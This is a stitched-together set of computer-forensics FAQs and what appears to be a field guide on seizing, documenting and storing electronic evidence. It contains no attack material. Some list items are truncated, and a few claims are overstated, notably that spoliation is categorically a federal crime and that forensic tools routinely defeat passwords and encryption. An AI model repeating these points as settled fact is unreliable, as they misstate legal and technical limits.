Ans : Studies have shown that more email is generated every day than phone conversations and paper documents combined. Email continues to be the "smoking gun" in many cases and often provides crucial evidence in many top verdicts. It is highly recommended that legal counsel be well-versed in email and its evidentiary weight to develop proactive strategies of litigation readiness. If you don't know about it, someone else will find it. The attitude that it "is not my problem" has had serious legal repercussions for countless organizations and legal teams.

Q.5. Can chat history be retrieved from an Instant Messaging program (such as AOL Instant Messenger, Skype, MSN Messenger, Yahoo Messenger, etc.)?

Ans : Many instant messaging programs create logs and records of conversations that can later be discovery and investigated. A computer forensic examiner has specific software and procedures to recover this type of information so it can be used as electronic evidence to support your case.

***

Q.1. Can date stamps legally establish when a file was created or modified?

Ans : There are three dates associated with a file: the date it was created, the date it was last modified, and the date it was last accessed (without modification).

The creation date is the date that the file was created on its current media. When a file is moved from one computer to another, the creation date is changed to the move date. Thus, the creation date is the date that a file was initially created on the current machine.

The modification date is the last time the file was modified on any computer. The modification date is not altered when a file is moved from one computer to another. It changes only when the contents of the file have been changed and saved in some way.

The access date is the date the file was last accessed. In this situation, "access" is interpreted very loosely. In addition to opening a file and saving it without changes, copying a file from computer C to computer D changes the access date on C. The access date is also changed if one inspects the file properties, even if the file was not opened.

A seeming contradiction frequently arises because of the fact that creation dates depend on the computer and the modified file dates depend on the file.

Q.2. Can deleted information still be found if the user has reformatted the hard drive?

Ans : The idea that formatting removes information from a hard drive is widely believed. In reality, reformatting rebuilds operating system information, such as the symbol tables, but it does not remove what is on the disk. A professional with the right tools and know-how can usually recover most of what was on the disk before the reformatting operation was conducted.

Q.3. Can deleted information still be found if the user has run "defrag?"

Ans : Generally Many pockets of information are not altered by the defrag process. Some documents, most notably those from Microsoft Word®, contain internal information that describes much of its history and modification.

Q.4. Can deleted information still be found if the user has run a "clean-up" utilities program?

Ans : This depends upon the type of "clean up" utility used and the forensic software used in the search.

In general, deletion/clean up programs that claim to be forensically sound make recovery very difficult, and data recoverable only with procedures at the microelectronic level. However, the delete/recover field is rapidly changing. When one good deletion technique becomes available, opponents start to find ways to overcome it. The cycle continues to oscillate between finding a deletion technique that the latest recovery techniques can't defeat and finding a recovery technique that can foil the latest deletion technology.

Q.5. What is forensic analysis?

Ans : Forensic software provides the specialist with a powerful set of tools that are used to ascertain patterns, words, and sequences of numbers based on information obtained from the client.

Passwords can be defeated, encryption and compression can be unlocked. All areas of content storage are then searched to assure all potential evidence is located.

The time and date information made available by forensic software provides the specialist with the necessary tools for uncovering sequences of events as they relate to the evidence.

***

Search & Seizure of Digital Evidence

Q.1 When does a situation require an Incident Response investigation?

Ans : If you think your computer or network has been compromised or that time sensitive data may be lost, you should waste no time in seeking professional computer forensic assistance. Computer-based evidence is fragile and data can be erased or changed permanently with a simple keystroke or over a period of time. This can happen without a trace, making an incident response investigator's job to find the truth much more difficult. The objective of an incident response investigation is to ensure that all evidence is collected and preserved in a secure and forensically sound manner.

Q.2. If the computer is ON, can I use it or turn it off?

Ans : If a computer is on or running it is important to collect the information about running programs or applications. When a computer is used or turned off, valuable information will be lost permanently. Also when a computer is turned off, it initiates a set of commands and actions that can change the contents of a hard drive. It is very important when investigating a powered on computer that has been compromised or contains evidence that a live computer forensic examination is performed.

Q.3. The suspect computer is currently powered OFF, should I turn it on?

Ans : If the system is off - leave it off. A trained computer forensic investigator will use specific methods, tools and procedures to retrieve and preserve critical electronically stored information. By powering on the system you run the risk of changing the data on the computer forever and losing valuable evidence.

Q.4.What is volatile information?

Ans : Volatile information is considered fragile evidence as it refers to information that is lost after a period of time or when the computer is turned off. Volatile information can reside in the computer's random access memory (RAM), page cache files or in other areas of the computer. Analysis of this information can yield significant insight into

the suspect computer. It is important that an incident response expert collects volatile information before it is lost forever.

Q.5. Is it best if the IT department handles a situation requiring immediate attention?

Ans : Traditional IT departments are very good at what they do but may not have the necessary tools to perform a computer investigation in a forensically sound manner. Organizations can avoid conflicts of interest that arise from using their own IT staff. An outside computer security incident expert should be brought in as soon as possible to work with the IT, legal and/or compliance personnel to offer an outside unbiased perspective. Courts favor use of neutral third-party analysis.

INVESTIGATIVE TOOLS AND EQUIPMENT

Special tools and equipment may be required to collect electronic evidence. Experience has shown that advances in technology may dictate changes in the tools and equipment required. Preparations should be made to get the equipment required to collect electronic evidence. Investigative agencies should have general crime scene processing equipment, such as cameras, notepads, sketch pads, evidence forms, crime scene tape, and markers. Each aspect of the process (documentation, collection, packaging, and transportation) dictates tools and equipment. The following are additional items that may be useful to have in a tool kit at an electronic crime scene:

- Documentation tools such as—
  - Cable tags.
  - Indelible felt-tip markers.
  - Stick-on labels.
- Disassembly and removal tools in a variety of nonmagnetic sizes and types that include—
  - Flat-blade and cross-tip screwdrivers.
  - Hex-nut and secure-bit drivers.
  - Star-type nut drivers.
  - Needle-nose and standard
  - Small tweezers.
  - Specialized screwdrivers (manufacturer specific).

- Wire cutters.

- Packaging and transporting supplies such as—
  - Antistatic bags and bubble wrap.
  - Cable ties.
  - Evidence bags.
  - Evidence and packing tape.
  - electricity, such as foam peanuts).
  - Sturdy boxes of various sizes.

- Other items such as—
  - Evidence tags.
  - Evidence tape.
  - Gloves. Forms,
  - A hand truck
  - Large rubber bands
  - A list of contact telephone numbers for assistance.
  - A magnifying glass.
  - Printer paper.
  - A seizure disk.
  - A small flashlight.
  - Fully-formatted floppy diskettes (3 inch and 5 1/4 inch).

CRIME SCENE SECURITY AND EVALUATION

The investigator should take steps to ensure the safety of all persons at the crime scene and protect the integrity of all evidence, both traditional and electronic. All activities should be in compliance with Army policy and federal, state, and local laws.

After securing the scene and all persons on the scene, the investigator should visually identify potential evidence (both physical and electronic) and determine if perishable evidence exists. He should then evaluate the scene and formulate a search plan.

SECURE AND EVALUATE THE CRIME SCENE

The investigator should secure and evaluate the crime scene by—

- Following jurisdictional policy for securing the crime scene. This would include ensuring that all persons are removed from the

immediate area where evidence is to be collected. At this point in the investigation, do not alter the condition of any electronic devices. If it is off, leave it off. If it is on, leave it on.

- Protecting perishable data (physical and electronic). Perishable data may be found on pagers, caller identification (ID) boxes, electronic organizers, cell phones, and other similar devices. The first responder should always keep in mind that any device containing perishable data should be immediately secured, documented, and/or photographed.
- Identifying telephone lines attached to devices such as modems and caller ID boxes. Document, disconnect, and label each telephone line from the wall rather than the device, when possible. There may also be other communications lines present for local area network (LAN), wide area network (WAN), or other network technologies. Consult the appropriate personnel or agency in these cases.
- Preserving the computer mouse, keyboard, diskettes, compact disks (CDs), or other components that may have latent fingerprints or other physical evidence. Chemicals used in processing latent fingerprints can damage equipment and data. Therefore, latent prints should be collected after the completion of electronic evidence recovery.

CONDUCT PRELIMINARY INTERVIEWS

The investigator should conduct preliminary interviews by—

- Separating and identifying all individuals (witnesses, subjects, or others) at the scene and recording their location at the time of entry.
- Being consistent with departmental policy and applicable laws in obtaining information from these individuals, such as—
    - Passwords and user names of owners and/or users of electronic devices found at the crime scene and the Internet service provider (ISP). Obtain any passwords required to access the system, software, or data. An individual may have multiple passwords, such as basic input-output system (BIOS), system login, network ISP, application files, encryption pass phrase, e-mail, access token, scheduler, or contact list.
    - The purpose of the system.
    - Any unique security schemes or destructive devices.

- Any off-site data storage.
- Any documentation explaining the hardware or software installed on the system.

CRIME SCENE DOCUMENTATION

Documentation of the crime scene creates a permanent historical record of the crime scene. Documentation is an ongoing process throughout the investigation. It is important to accurately record the location and condition of computers, storage media, other electronic devices, and conventional evidence. Moving of a computer system while the system is running may cause changes to system data. Therefore, the system should not be moved until it has been safely powered down. The initial documentation of

the physical crime scene should include—

- Observing and documenting the physical crime scene, such as the position of the mouse and the location of components relative to each other (a mouse on the left side of the computer may indicate a left-handed user).
- Documenting the condition and location of the computer system, including the power status of the computer (on, off, or in sleep mode). Most computers have status lights to indicate that the computer is on. Likewise, if fan noise is heard, the system is probably on. Furthermore, if the computer system is warm, it may also indicate that it is on or was recently turned off.
- Identifying and documenting related electronic components that will not be collected.
- Photographing the entire scene to create a visual record as noted by the first responder. The complete room should be recorded with 360° coverage, when possible.
- Photographing the front of the computer, monitor screen, and other components. Take written notes on what appears on the monitor screen. Active programs may require videotaping or more extensive documentation of monitor screen activity.
- Performing additional documentation of the system during the collection phase.

AUTHORIZATION TO SEIZE ELECTRONIC EVIDENCE

Search authorization may be obtained from a magistrate, a civilian judge at the state or federal level, or the property owner is required. However, in almost all cases, courts have held a relatively high standard with regard to the specificity of computer-related search authorizations. Investigative personnel seeking search authorization must be able to articulate specific and recent information pertaining to the individual items cited on the affidavit and authorization in order to establish probable cause. In many instances, information that is several months old cannot in and of itself be used to generate probable cause. More recent information, gained through "pretext" phone calls or online undercover operations, may be required to develop current and reliable information. Additionally, if during the conduct of a search for one offense, evidence of an unrelated or different type of offense is identified, the scope of the search authorization must be expanded accordingly. If probable cause cannot be developed, consideration should be given to requesting a consent search. However, this may make the suspect aware of law enforcement interest and cause investigators to lose potential evidence.

EVIDENCE COLLECTION

Computer evidence, like all other evidence, must be handled carefully and in a manner that preserves its evidentiary value. This relates not just to the physical integrity of an item or device, but also to the electronic data it contains. Certain types of computer evidence, therefore, require special collection, packaging, and transportation. Consideration should be given to protect data that may be susceptible to damage or alteration from electromagnetic fields, such as those generated by static electricity, magnets, radio transmitters, and other devices.

Electronic evidence should be collected according to departmental guidelines. In the absence of departmental procedures for electronic evidence collection, use the procedures outlined below.

NONELECTRONIC EVIDENCE COLLECTION

Recovery of non-electronic evidence can be crucial in the investigation of electronic crimes. Take proper care to ensure that such evidence is recovered and preserved. Items relevant to subsequent examination of electronic evidence may exist in other forms (written passwords and other handwritten notes, blank pads of paper with indented writing, hardware and software manuals, calendars, literature, text or graphical computer printouts, and photographs) and should be secured and preserved for future analysis.

These items are frequently in close proximity to the computer or related hardware items. All evidence should be identified, secured, and preserved in compliance with departmental procedures.

STAND-ALONE AND LAPTOP COMPUTER EVIDENCE COLLECTION

Multiple computers may indicate a computer network. Likewise, computers located at businesses are often networked. In these situations, specialized knowledge about the system is required to effectively recover evidence and reduce your potential for civil liability. When a computer network is encountered, contact the forensic computer expert in your department or an outside consultant identified by your department for assistance. Computer systems in a complex environment are addressed later in this chapter.

A stand-alone personal computer (PC) is a computer that is not connected to a network or another computer. Stand-alones may be desktop machines or laptops.

Laptops incorporate a computer, monitor, keyboard, and mouse into a single portable unit. Laptops differ from other computers in that they can be powered by electricity or a battery source. Therefore, they require the removal of the battery in addition to stand-alone, power-down procedures.

If the computer is on, document existing conditions and call your expert or consultant. If an expert or consultant is not available, document all actions taken and any changes observed in the monitor, computer, printer, or other peripherals that result from actions taken.

Observe the monitor and determine if it is on, off, or in sleep mode. Then decide which of the following situations applies and follow the steps for that situation.

- **SITUATION 1: THE MONITOR IS ON AND THE WORK PRODUCT AND/OR DESKTOP ARE VISIBLE.**

Step 1. Photograph the screen and record the information displayed.

Step 2. Proceed to situation 3, step 3.

- **SITUATION 2: THE MONITOR IS ON AND THE SCREEN IS BLANK (SLEEP MODE) OR THE SCREENSAVER (PICTURE) IS VISIBLE.**

Step 1. Move the mouse slightly (without pushing buttons). The screen should change and show the work product or request a password.

Step 2. Do not perform any other keystrokes or mouse operations if mouse movement does not cause a change in the screen.

Step 3. Photograph the screen and record the information displayed.

Step 4. Proceed to situation 3, step 3.

- **SITUATION 3: THE MONITOR IS OFF.**

Step 1. Make a note of the "off" status.

Step 2. Turn the monitor on, then determine if the monitor status is as described in either situation 1 or 2 above and follow those steps.

Step 3. Regardless of the power state of the computer (on, off, or sleep mode), remove the power source cable from the computer, not from the wall outlet. If dealing with a laptop, in addition to removing the power cord, remove the battery pack. The battery is removed to prevent any power to the system. Some laptops have a second battery in the multipurpose bay instead of a floppy drive or CD drive. Check for this possibility and remove that battery as well.

Step 4. Check for outside connectivity (telephone modem, cable, integrated services digital network [ISDN], and digital subscriber line [DSL]). If a telephone connection is present, attempt to identify the telephone number.

Step 5. Avoid damage to potential evidence by removing any floppy disks that are present, packaging the disk separately, and labeling the package. If available, insert either a seizure disk or a blank floppy disk. Do not remove CDs or touch the CD drive.

Step 6. Place tape over all the drive slots and over the power connector.

Step 7. Record the make, model, and serial numbers.

Step 8. Photograph and diagram the connections of the computer and the corresponding cables.

Step 9. Label all connectors and cable ends (including connections to peripheral devices) to allow for exact reassembly at a later time. Label unused connection ports as "unused." Identify laptop computer docking stations in an effort to identify other storage media.

Step 10. Record or log evidence according to departmental procedures.

Step 11. Package any components as fragile, if transport is required.

COMPUTERS IN A COMPLEX ENVIRONMENT

Business environments frequently have multiple computers connected to each other, to a central server, or both. Securing and processing a crime scene where the computer systems are networked poses special problems, because an improper shutdown may destroy data. This can result in loss of evidence and potential severe civil liability. When investigating criminal activity in a known business environment, the presence of a computer network should be planned for in advance, if possible, and the appropriate expert obtained. It should be noted that computer networks can also be found in a home environment and the same concerns exist.

The possibility of various operating systems and complex hardware configurations requiring different shutdown procedures make the processing of a network crime scene beyond the scope of this chapter. However, it is important that computer networks be recognized and identified, so that an expert can be obtained if one is encountered.

Indications that a computer network may be present include

- Multiple computer systems.
- Cables and connectors running between computers or central devices, such as hubs.
- Any information provided by informants or individuals at the scene.
- Network components.

ON-SITE SEARCHES WITHOUT SEIZURE AUTHORIZATION

In some instances, investigative personnel will find themselves in a situation where there is an authorization to search a computer, but the agent lacks the authorization to seize it. Typically, this occurs in one of two situations. The first is when consent to search is authorized by a suspect who agrees to allow the investigator to search the computer; however, he does not agree to allow the investigator to seize or ship it to the laboratory for examination. The second situation frequently results when a commander suspects that criminal activity has been committed using a government computer, but he has no

means to verify it and does not want to deprive the organization of the use of the computer while it is awaiting examination. Investigators in the field should never conduct a search of a computer or open electronic files under any circumstance other than when it is impossible or impractical to seize the device for laboratory examination.

If an investigator conducts a consent type search of a computer, based on the scenario indicated above, it is essential for him to terminate the search as soon as the first file containing evidence of a crime is identified. At this point, probable cause has been met, and a formal search authorization should be obtained from a competent authority. The subsequent seizure of the computer is not based on the consent to search, but rather the evidence identified during the search and the authority of a formal search authorization or warrant. The investigator must then document all of his activities including every keystroke and mouse click that led to the discovery of the criminal material. It is important that additional files not be accessed, because the date-time group of the accessed file are modified and will likely result in the suppression of them in the prosecutorial process.

EVIDENCE PACKAGING, TRANSPORTING, AND STORING

Computers are fragile electronic instruments that are sensitive to temperature, humidity, physical shock, static electricity, and magnetic sources. Therefore, special precautions should be taken when packaging, transporting, and storing electronic evidence. To maintain the chain of custody of electronic evidence, document its packaging, transporting, and storing.

PACKAGING

If multiple computer systems are collected, label each system so that it can be reassembled as found (system A: mouse, keyboard, monitor, and main base unit; system B: mouse, keyboard, monitor, and main base unit).

When packaging evidence at a crime scene—

- Ensure that all collected electronic evidence is properly documented, labeled, and inventoried before packing.
- Pay special attention to latent or trace evidence and take action to preserve it.
- Pack magnetic media in antistatic packaging (paper or antistatic plastic bags). Avoid using materials that can produce static electricity, such as standard plastic bags.
- Avoid folding, bending, or scratching computer media, such as a diskette, compact disk-read only memory (CD-ROM), or tape.
- Ensure that all containers used to hold evidence are properly labeled.

TRANSPORTING

Ensure that computers and other components that are not packaged in containers are secured in the vehicle to avoid shock and excessive vibrations. For example, computers may be placed on the vehicle floor and monitors placed on the seat with the screen down and secured by a seat belt. When transporting evidence—

- Keep all electronic evidence away from magnetic sources. Radio transmitters, speaker magnets, and heated seats are examples of items that can damage electronic evidence.
- Avoid storing electronic evidence in vehicles for prolonged periods of time. Conditions of excessive heat, cold, or humidity can damage electronic evidence.
- Maintain the chain of custody on all evidence transported.

STORING

Store evidence in a secure area away from temperature and humidity extremes. Protect it from magnetic sources, moisture, dust, and other harmful particles or contaminants. Be aware that potential evidence, such as dates, times, and system configurations may be lost as a result of prolonged storage. Since batteries have a limited life, data could be lost if they fail. Therefore, appropriate personnel (such as the evidence custodian, laboratory chief, and forensic examiner) should be informed that a device powered by batteries is in need of immediate attention.

***

Electronic Discovery

Q.1. What is Electronic Discovery?

Ans : Electronic discovery ("e-discovery") refers to discovery in civil litigation which deals with Electronically Stored Information. Because of its intangible form, volume, transience and persistence, it is substantially different than paper information. On December 1, 2006, the Federal Rules of Civil Procedure (FRCP) were amended to address electronic discovery by outlining the way electronic evidence is used and admitted in litigation. Examples of the types of information included in e-discovery are: e-mail, instant messaging chats, documents (such as Microsoft Office document files), accounting databases and websites. Also included in e-discovery is "raw computer data" which forensic investigators can review for hidden and deleted evidence.

Q.2. What is ESI?

Ans : ESI is an acronym for Electronically Stored Information. The Federal Rules of Civil Procedure defined ESI as: information created, manipulated, communicated, stored, and best utilized in digital form, requiring the use of computer hardware and software. Judges have ruled that if volatile information (such as RAM) is reasonably accessible it must be retained if litigation is anticipated. It is important that ESI be collected using digital forensic methods by qualified examiners.

Q.3. What is "spoliation?"

Ans : Spoliation is the intentional or negligent withholding, hiding, alteration or destruction of evidence relevant to a legal proceeding. It is a criminal act in the United States under Federal law. A party's position in litigation is often impaired by the destruction, alteration or loss of crucial evidence during, and sometimes even before litigation has started. A good consultant will work to ensure that electronic data is handled in a forensically sound manner.

Q.4. What is "metadata?"

Ans : Metadata is data about the data. Metadata describes essential aspects of the data (or document) such as the author of the document, the last print time or when the file was created, accessed or modified. Because metadata is fundamentally data, it requires the same forensic scrutiny as any other form of data and often is not visible unless special tools and methods are used.

***

Expert Witness

Q.1. Why should I use a computer expert witness?

Ans : Computers and technology are important parts of our professional and personal lives. They are used for communication, productivity, entertainment and create digital traces of almost any event. Because of this digital adaptation, it is important to consider computer expert witness testimony as an integral part of any case. It is important to understand that not all electronic evidence is useable. A qualified expert will review the digital evidence for its veracity and merit, and only use the most accurate and pertinent information.

Q.2. What about using my computer consultant or IT department?

Ans : The legal system requires that expert opinions and testimony be made only by qualified individuals. Because of inherit conflicts of interest by using internal IT personnel to review potential evidence; an outside computer forensic expert should be retained to offer an honest and unbiased opinion. All parties in a case should have only the most pertinent and accurate evidence entered into testimony. A qualified computer expert witness should possess relevant technical knowledge and have a sound foundation about the legal process.

Q.3.Is expert review necessary?

Ans : If opposing counsel has retained a computer expert witness it is important that any reports or testimony given by the expert undergo proper peer review. It is necessary to test the validity, accuracy and scientific merits of an opposing counsels' report about computers, networks, email and other digital components. A properly thought out legal strategy will consider not only one's own facts and evidence brought upon by discovery but a careful scrutiny of any electronic evidence entered by the other side.

***